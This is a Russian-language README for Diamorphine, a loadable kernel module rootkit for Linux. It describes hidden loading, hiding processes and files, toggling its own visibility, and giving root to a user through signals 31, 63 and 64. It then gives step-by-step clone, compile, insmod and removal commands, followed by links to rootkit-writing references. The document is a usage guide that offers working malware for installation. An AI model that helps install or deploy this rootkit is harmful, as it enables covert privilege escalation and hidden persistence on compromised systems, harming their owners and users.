Diamorphine

Diamorphine — это руткит LKM для ядер Linux 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 и ARM64)

Возможности

• При загрузке модуль запускается невидимым;
• Скрыть/показать любой процесс, отправив сигнал 31;
• Отправка сигнала 63 (любому PID) делает модуль (не)видимым;
• Отправка сигнала 64 (любому PID) даёт указанному пользователю права root;
• Файлы или каталоги, начинающиеся с MAGIC_PREFIX, становятся невидимыми;
• Исходный код: https://github.com/m0nad/Diamorphine

Установка

Проверьте, что ядро версии 2.6.x/3.x/4.x/5.x/6.x

uname -r

Клонируйте репозиторий

git clone https://github.com/m0nad/Diamorphine

Перейдите в папку

cd Diamorphine

Скомпилируйте

make

Загрузите модуль (от root)

insmod diamorphine.ko

Удаление

Модуль запускается невидимым, чтобы удалить его, нужно сделать его видимым

kill -63 0

Затем удалите модуль (от root)

rmmod diamorphine

Ссылки

Руткит — Википедия https://en.wikipedia.org/wiki/Rootkit

Драйверы устройств Linux http://lwn.net/Kernel/LDD3/

LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

Блог Memset http://memset.wordpress.com/

Динамическое исправление ядра Linux без LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Перекрёстные ссылки на Linux http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

Руткиты Linux: новые методы для ядра 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/

FlipSwitch: новый метод перехвата системных вызовов https://www.elastic.co/security-labs/flipswitch-linux-rootkit